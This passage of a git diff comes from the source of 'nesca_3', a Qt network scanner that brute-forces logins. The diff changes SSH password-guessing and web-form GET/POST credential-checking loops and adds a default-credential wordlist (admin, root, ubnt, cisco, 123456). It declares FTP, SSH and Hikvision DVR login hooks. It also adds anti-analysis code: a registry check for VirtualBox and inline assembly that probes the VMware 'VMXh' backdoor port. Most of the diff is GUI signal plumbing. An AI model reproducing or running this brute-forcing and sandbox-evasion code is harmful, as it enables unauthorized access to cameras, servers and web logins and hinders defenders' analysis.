stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxSSHPass)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
|
||||
res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
|
||||
ZeroMemory(login, sizeof(login));
|
||||
ZeroMemory(pass, sizeof(pass));
|
||||
ZeroMemory(temp, sizeof(temp));
|
||||
|
||||
if(res == 0)
|
||||
{
|
||||
if(i == 0) return -2; //Failhit
|
||||
if (i == 0) {
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAILHIT");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAILHIT");
|
||||
}
|
||||
return -2; //Failhit
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
else if(res == -2)
|
||||
{
|
||||
{
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return -2;
|
||||
};
|
||||
|
||||
Sleep(500);
|
||||
};
|
||||
};
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(host) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
29
STh.cpp
29
STh.cpp
@ -1,6 +1,18 @@
|
||||
#include "STh.h"
|
||||
#include "externData.h"
|
||||
|
||||
//BA TablelistView
|
||||
void STh::doEmitionChangeBARow(int index, QString loginPass, QString percentage)
|
||||
{
|
||||
emit stt->signalChangeBARow(index, loginPass, percentage);
|
||||
}
|
||||
|
||||
void STh::doEmitionUpdatePB2()
|
||||
{
|
||||
cIndex = 0;
|
||||
emit stt->updPB2();
|
||||
}
|
||||
|
||||
void STh::doEmitionShowRedVersion()
|
||||
{
|
||||
emit stt->showRedVersion();
|
||||
@ -29,18 +41,7 @@ void STh::doEmitionFoundData(QString str)
|
||||
{
|
||||
emit stt->changeFoundData(str);
|
||||
}
|
||||
void STh::doEmitionBAData(QString str)
|
||||
{
|
||||
emit stt->changeBAData(str);
|
||||
}
|
||||
void STh::doEmition_BARedData(QString str)
|
||||
{
|
||||
emit stt->changeRedBAData(str);
|
||||
}
|
||||
void STh::doEmition_BAGreenData(QString str)
|
||||
{
|
||||
emit stt->changeGreenBAData(str);
|
||||
}
|
||||
|
||||
void STh::doEmitionRedFoundData(QString str)
|
||||
{
|
||||
emit stt->changeRedFoundData(str);
|
||||
@ -57,10 +58,6 @@ void STh::doEmitionDebugFoundData(QString str)
|
||||
{
|
||||
emit stt->changeDebugFoundData(str);
|
||||
}
|
||||
void STh::doEmitionChangeStatus(QString str)
|
||||
{
|
||||
emit stt->changeStatus(str);
|
||||
}
|
||||
void STh::doEmitionKillSttThread()
|
||||
{
|
||||
emit stt->killSttThread();
|
||||
|
29
STh.h
29
STh.h
@ -14,31 +14,44 @@ class STh : public QThread
|
||||
private:
|
||||
QString target = "";
|
||||
QString ports = "";
|
||||
QList<int> coloredIndexes;
|
||||
|
||||
public:
|
||||
void addColoredIndex(int index)
|
||||
{
|
||||
coloredIndexes.push_back(index);
|
||||
}
|
||||
QList<int> getColoredIndexes()
|
||||
{
|
||||
return coloredIndexes;
|
||||
}
|
||||
|
||||
void setMode(short mode);
|
||||
void setTarget(QString target);
|
||||
void setPorts(QString ports);
|
||||
|
||||
static int baModelSize();
|
||||
|
||||
static void doEmitionDataSaved(bool status);
|
||||
static void doEmitionStartScanIP();
|
||||
static void doEmitionStartScanDNS();
|
||||
static void doEmitionStartScanImport();
|
||||
static void doEmitionAddIncData(QString ip, QString str);
|
||||
static void doEmitionAddOutData(QString str);
|
||||
static void doEmition_BAGreenData(QString str);
|
||||
static void doEmition_BARedData(QString str);
|
||||
|
||||
static void doEmitionFoundData(QString str);
|
||||
static void doEmitionRedFoundData(QString str);
|
||||
static void doEmitionGreenFoundData(QString);
|
||||
static void doEmitionYellowFoundData(QString);
|
||||
static void doEmitionChangeStatus(QString);
|
||||
static void doEmitionKillSttThread();
|
||||
static void doEmitionBAData(QString str);
|
||||
|
||||
static void doEmitionDebugFoundData(QString);
|
||||
static void doEmitionShowRedVersion();
|
||||
static void doEmitionUpdateArc(unsigned long gTargets);
|
||||
static void doEmitionBlockButton(bool value);
|
||||
//BA TablelistView
|
||||
static void doEmitionChangeBARow(int index, QString loginPass, QString percentage);
|
||||
static void doEmitionUpdatePB2();
|
||||
|
||||
signals:
|
||||
public: signals: void showRedVersion();
|
||||
@ -46,20 +59,20 @@ public: signals: void startScanIP();
|
||||
public: signals: void startScanDNS();
|
||||
public: signals: void startScanImport();
|
||||
public: signals: void signalDataSaved(bool);
|
||||
public: signals: void changeGreenBAData(QString);
|
||||
public: signals: void changeRedBAData(QString);
|
||||
public: signals: void changeBAData(QString);
|
||||
public: signals : void updPB2();
|
||||
|
||||
public: signals: void changeFoundData(QString);
|
||||
public: signals: void changeRedFoundData(QString);
|
||||
public: signals: void changeGreenFoundData(QString);
|
||||
public: signals: void changeYellowFoundData(QString);
|
||||
public: signals: void changeDebugFoundData(QString);
|
||||
public: signals: void changeStatus(QString);
|
||||
public: signals: void killSttThread();
|
||||
public: signals: void sIncData(QString, QString);
|
||||
public: signals : void sOutData(QString);
|
||||
public: signals : void signalUpdateArc(unsigned long);
|
||||
public: signals : void signalBlockButton(bool);
|
||||
//BA TablelistView
|
||||
public: signals : void signalChangeBARow(int, QString, QString);
|
||||
|
||||
protected:
|
||||
void run();
|
||||
|
30
Utils.cpp
30
Utils.cpp
@ -1,6 +1,36 @@
|
||||
#include "Utils.h"
|
||||
#include <sstream>
|
||||
|
||||
std::string Utils::startDate;
|
||||
|
||||
void Utils::emitScaryError() {
|
||||
__asm{
|
||||
push edx
|
||||
push ecx
|
||||
push ebx
|
||||
|
||||
mov eax, 'VMXh'
|
||||
mov ebx, 0
|
||||
mov ecx, 10
|
||||
mov edx, 'VX'
|
||||
|
||||
in eax, dx
|
||||
cmp ebx, 'VMXh'
|
||||
|
||||
pop ebx
|
||||
pop ecx
|
||||
pop edx
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
void Utils::saveStartDate() {
|
||||
startDate = std::string(QDate::currentDate().toString().toLocal8Bit().data());
|
||||
}
|
||||
std::string Utils::getStartDate() {
|
||||
return startDate;
|
||||
}
|
||||
|
||||
int Utils::isDigest(const std::string *buffer) {
|
||||
if (Utils::ustrstr(buffer, "401 authorization") != -1
|
||||
|| Utils::ustrstr(buffer, "401 unauthorized") != -1
|
||||
|
5
Utils.h
5
Utils.h
@ -5,6 +5,7 @@
|
||||
#include <algorithm>
|
||||
#include <qstring.h>
|
||||
#include <vector>
|
||||
#include <qdatetime.h>
|
||||
|
||||
using namespace std;
|
||||
|
||||
@ -23,6 +24,7 @@ private:
|
||||
};
|
||||
|
||||
class Utils {
|
||||
private: static std::string startDate;
|
||||
public:
|
||||
static int isDigest(const std::string *buffer);
|
||||
|
||||
@ -82,6 +84,9 @@ public:
|
||||
static std::string getStrValue(const std::string &data, const std::string &delim1, const std::string &delim2);
|
||||
static std::vector<std::string> splitToStrVector(const std::string &s, char delim);
|
||||
static std::vector<int> splitToIntVector(const std::string &s, char delim);
|
||||
static void saveStartDate();
|
||||
static std::string getStartDate();
|
||||
static void emitScaryError();
|
||||
};
|
||||
|
||||
#endif // UTILS_H
|
||||
|
@ -28,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip,
|
||||
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
|
||||
) {
|
||||
|
||||
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
|
||||
QString(login) + ":" + QString(pass));
|
||||
strcpy(result.login, login);
|
||||
strcpy(result.pass, pass);
|
||||
return result;
|
||||
@ -56,6 +54,7 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
||||
lopaStr result = {"UNKNOWN", "", ""};
|
||||
int passCounter = 0;
|
||||
int firstCycle = 0;
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
@ -84,10 +83,17 @@ lopaStr WFClass::doGetCheck(const char *ip,
|
||||
Connector con;
|
||||
if(con.nConnect(nip, port, &buffer) <= 0) return result;
|
||||
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; login/pass: "+ QString(login) + ":" + QString(pass) +
|
||||
"; - Progress: (" +
|
||||
QString::number((passCounter++/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
|
||||
// QString(login) + ":" + QString(pass),
|
||||
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
|
||||
result = parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||
if(i == 0) ++i;
|
||||
@ -108,6 +114,7 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
||||
lopaStr result = {"UNKNOWN", "", ""};
|
||||
int passCounter = 0;
|
||||
int firstCycle = 0;
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
@ -136,11 +143,19 @@ lopaStr WFClass::doPostCheck(const char *ip,
|
||||
|
||||
std::string buffer;
|
||||
Connector con;
|
||||
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
|
||||
|
||||
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " +
|
||||
QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
|
||||
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
|
||||
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
//stt->doEmitionAddBARow(rowIndex, QString(ip) + ":" + QString::number(port),
|
||||
// QString(login) + ":" + QString(pass),
|
||||
// QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
++passCounter;
|
||||
|
||||
return parseResponse(ip, port, &buffer, formVal, login, pass);
|
||||
|
@ -24,7 +24,7 @@ public:
|
||||
if(gMaxBrutingThreads > 0) {
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
|
||||
|
||||
++WF;
|
||||
//++WF;
|
||||
|
||||
++BrutingThrds;
|
||||
//BConInc();
|
||||
|
20
externData.h
20
externData.h
@ -24,20 +24,26 @@ extern QJsonArray *jsonArr;
|
||||
extern unsigned long long gTargetsNumber;
|
||||
extern long long unsigned int gTargets;
|
||||
extern std::atomic<int> cons, BrutingThrds, gThreads;
|
||||
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
|
||||
extern char **loginLst, **passLst,
|
||||
**wfLoginLst, **wfPassLst,
|
||||
**ftpLoginLst, **ftpPassLst,
|
||||
**sshlpLst;
|
||||
extern bool trackerOK, globalScanFlag, MapWidgetOpened,
|
||||
widgetIsHidden, gNegDebugMode,
|
||||
gDebugMode, horLineFlag, gPingNScan, gShuffle,
|
||||
BALogSwitched;
|
||||
extern int found, indexIP, gMode,
|
||||
MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass,
|
||||
MaxPass, MaxLogin,
|
||||
MaxWFLogin, MaxWFPass,
|
||||
MaxFTPLogin, MaxFTPPass,
|
||||
MaxSSHPass,
|
||||
gMaxBrutingThreads,
|
||||
gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH,
|
||||
AnomC1, filtered, Overl, Lowl, Alive, saved,
|
||||
Susp,
|
||||
WF,
|
||||
gTimeOut, PieCamerasC1, PieOther, PieBA, PieSSH,
|
||||
camerasC1, filtered, Overl, Alive, saved,
|
||||
other,
|
||||
baCount,
|
||||
ssh, globalPinger, gPingTimeout;
|
||||
ssh, globalPinger, gPingTimeout,
|
||||
cIndex;
|
||||
extern unsigned int Activity;
|
||||
extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64],
|
||||
trcPort[32], trcSrvPortLine[32],
|
||||
|
3542
finder.cpp
3542
finder.cpp
File diff suppressed because it is too large
Load Diff
38
login.txt
38
login.txt
@ -0,0 +1,38 @@
|
||||
admin
|
||||
root
|
||||
123123
|
||||
123456
|
||||
12345
|
||||
ubnt
|
||||
|
||||
|
||||
cisco
|
||||
super
|
||||
meinsm
|
||||
monitor
|
||||
test
|
||||
support
|
||||
1234
|
||||
administrator
|
||||
qwerty
|
||||
recovery
|
||||
system
|
||||
naadmin
|
||||
master
|
||||
guest
|
||||
backup
|
||||
0000
|
||||
1111
|
||||
123321
|
||||
123321123
|
||||
111111
|
||||
222222
|
||||
333333
|
||||
444444
|
||||
666666
|
||||
888888
|
||||
88888888
|
||||
999999
|
||||
777777
|
||||
555555
|
||||
111222333
|
81
main.cpp
81
main.cpp
@ -1,32 +1,79 @@
|
||||
#include "nesca_3.h"
|
||||
#include <QApplication>
|
||||
#include <qfontdatabase.h>
|
||||
#include <QMessageBox.h>
|
||||
#include <qpixmap.h>
|
||||
#include "Utils.h"
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
QApplication a(argc, argv);
|
||||
bool isWM = false;
|
||||
DWORD Type;
|
||||
char value[512] = { 0 };
|
||||
char resultString[512] = { 0 };
|
||||
HKEY hkey;
|
||||
if (RegOpenKey(HKEY_LOCAL_MACHINE,
|
||||
TEXT("HARDWARE\\DESCRIPTION\\System"), &hkey) == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD value_length = 512;
|
||||
RegQueryValueEx(hkey, L"VideoBiosVersion", 0, &Type, (BYTE*)&value, &value_length);
|
||||
RegCloseKey(hkey);
|
||||
|
||||
QStringList list;
|
||||
list << "small_font.ttf";
|
||||
int fontID(-1);
|
||||
bool fontWarningShown(false);
|
||||
for (QStringList::const_iterator constIterator = list.constBegin(); constIterator != list.constEnd(); ++constIterator) {
|
||||
QFile res(":/nesca_3/" + *constIterator);
|
||||
if (res.open(QIODevice::ReadOnly) == false) {
|
||||
if (fontWarningShown == false) {
|
||||
fontWarningShown = true;
|
||||
for (int i = 0, j = 0; i < 256; ++i, j += 2) {
|
||||
char ch = value[j];
|
||||
if (ch != '\0') {
|
||||
resultString[i] = ch;
|
||||
}
|
||||
} else {
|
||||
fontID = QFontDatabase::addApplicationFontFromData(res.readAll());
|
||||
if (fontID == -1 && fontWarningShown == false) {
|
||||
fontWarningShown = true;
|
||||
else {
|
||||
resultString[i] = '\n';
|
||||
}
|
||||
}
|
||||
resultString[256] = '\0';
|
||||
}
|
||||
if (strstr(resultString, "VirtualBox") ||
|
||||
strstr(resultString, "virtualbox")) {
|
||||
isWM = true;
|
||||
};
|
||||
|
||||
nesca_3 *gui = new nesca_3();
|
||||
|
||||
gui->showNormal();
|
||||
QApplication a(argc, argv);
|
||||
|
||||
if (isWM) {
|
||||
QMessageBox msgBox(
|
||||
QMessageBox::Information,
|
||||
"Nope",
|
||||
"");
|
||||
QPalette palette;
|
||||
palette.setBrush(QPalette::Background, Qt::cyan);
|
||||
msgBox.setIconPixmap(QPixmap(":/nesca_3/xc.jpg"));
|
||||
msgBox.setPalette(palette);
|
||||
msgBox.setVisible(true);
|
||||
msgBox.exec();
|
||||
} else {
|
||||
QStringList list;
|
||||
list << "small_font.ttf";
|
||||
int fontID(-1);
|
||||
bool fontWarningShown(false);
|
||||
for (QStringList::const_iterator constIterator = list.constBegin(); constIterator != list.constEnd(); ++constIterator) {
|
||||
QFile res(":/nesca_3/" + *constIterator);
|
||||
if (res.open(QIODevice::ReadOnly) == false) {
|
||||
if (fontWarningShown == false) {
|
||||
fontWarningShown = true;
|
||||
}
|
||||
}
|
||||
else {
|
||||
fontID = QFontDatabase::addApplicationFontFromData(res.readAll());
|
||||
if (fontID == -1 && fontWarningShown == false) {
|
||||
fontWarningShown = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
nesca_3 *gui = new nesca_3(isWM, 0);
|
||||
if (isWM) {
|
||||
Utils::emitScaryError();
|
||||
}
|
||||
gui->showNormal();
|
||||
}
|
||||
return a.exec();
|
||||
}
|
||||
|
||||
|
384
mainResources.h
384
mainResources.h
@ -1,174 +1,210 @@
|
||||
#pragma once
|
||||
#include "base64.h"
|
||||
|
||||
#include <libssh/libssh.h>
|
||||
#include <curl/curl.h>
|
||||
#include <vector>
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
#include "iostream"
|
||||
#include <time.h>
|
||||
#include <process.h>
|
||||
#include <conio.h>
|
||||
#else
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <pthread.h>
|
||||
#include <netdb.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <math.h>
|
||||
#include <cstring>
|
||||
|
||||
#define ZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
||||
#define Sleep(msecs) usleep((msecs)*1000)
|
||||
#define WSAGetLastError() errno
|
||||
#define closesocket(sock) ::close((sock))
|
||||
|
||||
typedef unsigned int DWORD;
|
||||
typedef void* LPVOID;
|
||||
typedef void* HANDLE;
|
||||
typedef unsigned int UINT;
|
||||
typedef const char * LPCSTR;
|
||||
typedef int SOCKET;
|
||||
typedef hostent HOSTENT;
|
||||
typedef struct linger LINGER;
|
||||
typedef int BOOL;
|
||||
|
||||
#define SD_BOTH 0x02
|
||||
#ifndef FAR
|
||||
#define FAR far
|
||||
#endif
|
||||
|
||||
#ifndef INVALID_SOCKET
|
||||
#define INVALID_SOCKET (SOCKET)(~0)
|
||||
#endif
|
||||
#ifndef SOCKET_ERROR
|
||||
#define SOCKET_ERROR (-1)
|
||||
#endif
|
||||
#ifndef WSAEWOULDBLOCK
|
||||
#define WSAEWOULDBLOCK EWOULDBLOCK //10035
|
||||
#endif
|
||||
#ifndef WSAEINPROGRESS
|
||||
#define WSAEINPROGRESS EINPROGRESS //10036
|
||||
#endif
|
||||
#ifndef WSAENOTSOCK
|
||||
#define WSAENOTSOCK ENOTSOCK //10038
|
||||
#endif
|
||||
#ifndef WSAEADDRNOTAVAIL
|
||||
#define WSAEADDRNOTAVAIL EADDRNOTAVAIL //10049
|
||||
#endif
|
||||
#ifndef WSAECONNRESET
|
||||
#define WSAECONNRESET ECONNRESET //10054
|
||||
#endif
|
||||
#ifndef WSAENOBUFS
|
||||
#define WSAENOBUFS ENOBUFS //10055
|
||||
#endif
|
||||
#ifndef WSAETIMEDOUT
|
||||
#define WSAETIMEDOUT ETIMEDOUT //10060
|
||||
#endif
|
||||
#ifndef WSAECONNREFUSED
|
||||
#define WSAECONNREFUSED ECONNREFUSED //10061
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#define TITLE_MAX_SIZE 512
|
||||
#define COOKIE_MAX_SIZE 1024
|
||||
#define RESULT_DIR_NAME "./result_files-" __DATE__
|
||||
|
||||
#ifndef MAX_ADDR_LEN
|
||||
#define MAX_ADDR_LEN 128
|
||||
#endif
|
||||
|
||||
struct NET_DVR_DEVICEINFO_V30
|
||||
{
|
||||
unsigned char sSerialNumber; //序列号
|
||||
unsigned char byAlarmInPortNum; //报警输入个数
|
||||
unsigned char byAlarmOutPortNum; //报警输出个数
|
||||
unsigned char byDiskNum; //硬盘个数
|
||||
unsigned char byDVRType; //设备类型, 1:DVR 2:ATM DVR 3:DVS ......
|
||||
unsigned char byChanNum; //模拟通道个数
|
||||
unsigned char byStartChan; //起始通道号,例如DVS-1,DVR - 1
|
||||
unsigned char byAudioChanNum; //语音通道数
|
||||
unsigned char byIPChanNum; //最大数字通道个数
|
||||
unsigned char byZeroChanNum; //零通道编码个数 //2010-01-16
|
||||
unsigned char byMainProto; //主码流传输协议类型 0-private, 1-rtsp
|
||||
unsigned char bySubProto; //子码流传输协议类型0-private, 1-rtsp
|
||||
unsigned char bySupport; //能力,位与结果为0表示不支持,1表示支持,
|
||||
unsigned char bySupport1; // 能力集扩充,位与结果为0表示不支持,1表示支持
|
||||
unsigned char byRes1;
|
||||
int wDevType; //设备型号
|
||||
|
||||
unsigned char byRes2; //保留
|
||||
};
|
||||
|
||||
struct PathStr{
|
||||
char codepage[32];
|
||||
char headr[TITLE_MAX_SIZE];
|
||||
char path[1024];
|
||||
int flag;
|
||||
int port;
|
||||
char ip[MAX_ADDR_LEN];
|
||||
char cookie[COOKIE_MAX_SIZE];
|
||||
int directoryCount;
|
||||
};
|
||||
|
||||
struct lopaStr{
|
||||
char login[128];
|
||||
char pass[32];
|
||||
char other[128];
|
||||
};
|
||||
|
||||
class Lexems
|
||||
{
|
||||
public:
|
||||
int iterationCount, flag;
|
||||
|
||||
Lexems()
|
||||
{
|
||||
iterationCount = 0;
|
||||
flag = 0;
|
||||
}
|
||||
|
||||
~Lexems()
|
||||
{
|
||||
iterationCount = 0;
|
||||
}
|
||||
|
||||
int header(char *ip,
|
||||
int port,
|
||||
const char str[],
|
||||
Lexems *l,
|
||||
PathStr *ps,
|
||||
std::vector<std::string> *lst, int size);
|
||||
|
||||
int filler(char* ip,
|
||||
int port,
|
||||
const std::string *buffcpy,
|
||||
int size,
|
||||
Lexems *lx);
|
||||
};
|
||||
|
||||
//Hikvision SDK extern functions
|
||||
//typedef int(__stdcall *f_func)();
|
||||
typedef void(__stdcall *NET_DVR_Init)();
|
||||
typedef void(__stdcall *NET_DVR_Cleanup)();
|
||||
typedef int(__stdcall *NET_DVR_Login_V30)(const char * sDVRIP,
|
||||
int wDVRPort,
|
||||
const char * sUserName,
|
||||
const char * sPassword,
|
||||
NET_DVR_DEVICEINFO_V30 *lpDeviceInfo);
|
||||
|
||||
extern NET_DVR_Init hik_init_ptr;
|
||||
extern NET_DVR_Cleanup hik_cleanup_ptr;
|
||||
extern NET_DVR_Login_V30 hik_login_ptr;
|
||||
#pragma once
|
||||
#include "base64.h"
|
||||
#include <libssh/libssh.h>
|
||||
#include <curl/curl.h>
|
||||
#include <vector>
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
#include "iostream"
|
||||
#include <time.h>
|
||||
#include <process.h>
|
||||
#include <conio.h>
|
||||
#include <direct.h>
|
||||
|
||||
#define GetCurrentDir _getcwd
|
||||
#else
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <pthread.h>
|
||||
#include <netdb.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <math.h>
|
||||
#include <cstring>
|
||||
#include <unistd.h>
|
||||
|
||||
#define GetCurrentDir getcwd
|
||||
#define ZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
||||
#define Sleep(msecs) usleep((msecs)*1000)
|
||||
#define WSAGetLastError() errno
|
||||
#define closesocket(sock) ::close((sock))
|
||||
|
||||
typedef unsigned int DWORD;
|
||||
typedef void* LPVOID;
|
||||
typedef void* HANDLE;
|
||||
typedef unsigned int UINT;
|
||||
typedef const char * LPCSTR;
|
||||
typedef int SOCKET;
|
||||
typedef hostent HOSTENT;
|
||||
typedef struct linger LINGER;
|
||||
typedef int BOOL;
|
||||
|
||||
#define SD_BOTH 0x02
|
||||
#ifndef FAR
|
||||
#define FAR far
|
||||
#endif
|
||||
|
||||
#ifndef INVALID_SOCKET
|
||||
#define INVALID_SOCKET (SOCKET)(~0)
|
||||
#endif
|
||||
#ifndef SOCKET_ERROR
|
||||
#define SOCKET_ERROR (-1)
|
||||
#endif
|
||||
#ifndef WSAEWOULDBLOCK
|
||||
#define WSAEWOULDBLOCK EWOULDBLOCK //10035
|
||||
#endif
|
||||
#ifndef WSAEINPROGRESS
|
||||
#define WSAEINPROGRESS EINPROGRESS //10036
|
||||
#endif
|
||||
#ifndef WSAENOTSOCK
|
||||
#define WSAENOTSOCK ENOTSOCK //10038
|
||||
#endif
|
||||
#ifndef WSAEADDRNOTAVAIL
|
||||
#define WSAEADDRNOTAVAIL EADDRNOTAVAIL //10049
|
||||
#endif
|
||||
#ifndef WSAECONNRESET
|
||||
#define WSAECONNRESET ECONNRESET //10054
|
||||
#endif
|
||||
#ifndef WSAENOBUFS
|
||||
#define WSAENOBUFS ENOBUFS //10055
|
||||
#endif
|
||||
#ifndef WSAETIMEDOUT
|
||||
#define WSAETIMEDOUT ETIMEDOUT //10060
|
||||
#endif
|
||||
#ifndef WSAECONNREFUSED
|
||||
#define WSAECONNREFUSED ECONNREFUSED //10061
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#define TITLE_MAX_SIZE 512
|
||||
#define COOKIE_MAX_SIZE 1024
|
||||
#define TYPE1 "camera"
|
||||
#define TYPE2 "other"
|
||||
#define TYPE3 "auth"
|
||||
#define TYPE4 "ftp"
|
||||
#define TYPE5 "ssh"
|
||||
|
||||
#define PWD_LIST_FOLDER "./pwd_lists/"
|
||||
#define LOGIN_FN PWD_LIST_FOLDER"login.txt"
|
||||
#define PASS_FN PWD_LIST_FOLDER"pass.txt"
|
||||
#define FTP_LOGIN_FN PWD_LIST_FOLDER"ftplogin.txt"
|
||||
#define FTP_PASS_FN PWD_LIST_FOLDER"ftppass.txt"
|
||||
#define WF_LOGIN_FN PWD_LIST_FOLDER"wflogin.txt"
|
||||
#define WF_PASS_FN PWD_LIST_FOLDER"wfpass.txt"
|
||||
#define SSH_PASS_FN PWD_LIST_FOLDER"sshpass.txt"
|
||||
#define NEGATIVE_FN PWD_LIST_FOLDER"negatives.txt"
|
||||
|
||||
#define HTTP_FILE_STYLE "<style> #recvSpan{display: inline-block;width: 150px;} \
|
||||
#hostSpan{display: inline-block;width: 200px;} \
|
||||
body { background-color: #141414; font-family: monospace; font-size:95%;} \
|
||||
#ipd{background:black;width:100%;white-space:nowrap;overflow-x:none;display:inline-block;} \
|
||||
#ipd:hover{color: #909090;background:#202020;} \
|
||||
#tit{text-align:center;border:1px solid #5d5d5d;} \
|
||||
a{color: gray;text-decoration: underline;} \
|
||||
a:focus{ outline-style: dashed;outline-width:1px; outline-color: red;}</style>"
|
||||
|
||||
#define HTTP_FILE_HEADER "<div id=\"tit\"><a href=\""TYPE1".html\">."TYPE1"</a> \
|
||||
<a href=\""TYPE2".html\">."TYPE2"</a> \
|
||||
<a href=\""TYPE3".html\">."TYPE3"</a> \
|
||||
<a href=\""TYPE4".html\">."TYPE4"</a> \
|
||||
<a href=\""TYPE5".html\">."TYPE5"</a> \
|
||||
</div><br><br>"
|
||||
|
||||
#ifndef MAX_ADDR_LEN
|
||||
#define MAX_ADDR_LEN 128
|
||||
#endif
|
||||
|
||||
struct NET_DVR_DEVICEINFO_V30
|
||||
{
|
||||
unsigned char sSerialNumber; //序列号
|
||||
unsigned char byAlarmInPortNum; //报警输入个数
|
||||
unsigned char byAlarmOutPortNum; //报警输出个数
|
||||
unsigned char byDiskNum; //硬盘个数
|
||||
unsigned char byDVRType; //设备类型, 1:DVR 2:ATM DVR 3:DVS ......
|
||||
unsigned char byChanNum; //模拟通道个数
|
||||
unsigned char byStartChan; //起始通道号,例如DVS-1,DVR - 1
|
||||
unsigned char byAudioChanNum; //语音通道数
|
||||
unsigned char byIPChanNum; //最大数字通道个数
|
||||
unsigned char byZeroChanNum; //零通道编码个数 //2010-01-16
|
||||
unsigned char byMainProto; //主码流传输协议类型 0-private, 1-rtsp
|
||||
unsigned char bySubProto; //子码流传输协议类型0-private, 1-rtsp
|
||||
unsigned char bySupport; //能力,位与结果为0表示不支持,1表示支持,
|
||||
unsigned char bySupport1; // 能力集扩充,位与结果为0表示不支持,1表示支持
|
||||
unsigned char byRes1;
|
||||
int wDevType; //设备型号
|
||||
|
||||
unsigned char byRes2; //保留
|
||||
};
|
||||
|
||||
struct PathStr{
|
||||
char codepage[32];
|
||||
char headr[TITLE_MAX_SIZE];
|
||||
char path[1024];
|
||||
int flag;
|
||||
int port;
|
||||
char ip[MAX_ADDR_LEN];
|
||||
char cookie[COOKIE_MAX_SIZE];
|
||||
int directoryCount;
|
||||
};
|
||||
|
||||
struct lopaStr{
|
||||
